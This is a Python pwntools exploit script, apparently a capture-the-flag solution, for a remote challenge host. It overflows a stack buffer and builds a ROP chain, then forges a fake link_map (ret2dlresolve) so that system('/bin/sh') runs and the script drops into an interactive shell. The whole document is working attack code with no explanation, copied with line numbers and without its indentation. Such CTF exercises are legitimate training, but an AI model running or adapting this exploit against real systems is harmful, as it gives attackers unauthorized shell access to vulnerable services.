1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
| from pwn import *
context.log_level = 'debug'
context.arch = 'amd64'
context.terminal = ['tmux', 'splitw', '-h']
debug = 0
if debug:
io = process('./pwn_patched')
else:
io = remote('node5.buuoj.cn', 28062)
link_map_base = 0x404800
binsh_addr = link_map_base + 0x28
read_plt = 0x401060
again_addr = 0x401192
plt0_addr = 0x401026
read_got = 0x404020
pop_rdi_ret = 0x40115E
pop_rsi_ret = 0x40116B
def fake_link_map_gen(fake_link_map_base, delta, func_got_addr, mstr):
fake_link_map = b''
fake_link_map += p64(delta, sign = 'signed')
fake_link_map += p64(func_got_addr - 8)
fake_link_map += p64(fake_link_map_base + 24)
fake_link_map += p64(fake_link_map_base - delta)
fake_link_map += p64(7)
fake_link_map += mstr.encode()
fake_link_map = fake_link_map.ljust(0x68, b'\x00')
fake_link_map += p64(fake_link_map_base)
fake_link_map += p64(fake_link_map_base)
fake_link_map = fake_link_map.ljust(0xF8, b'\x00')
fake_link_map += p64(fake_link_map_base + 8)
return fake_link_map
def attack():
payload = b'A' * (0x70 + 8) + p64(pop_rdi_ret) + p64(0) + p64(pop_rsi_ret) + p64(link_map_base) + p64(read_plt) + p64(pop_rdi_ret) + p64(binsh_addr) + p64(plt0_addr) + p64(link_map_base) + p64(0)
io.send(payload.ljust(0x100, b'\x00'))
payload = fake_link_map_gen(link_map_base, 0x52290 - 0x10dfc0, read_got, '/bin/sh\x00')
io.send(payload.ljust(0x100, b'\x00'))
io.interactive()
attack()
|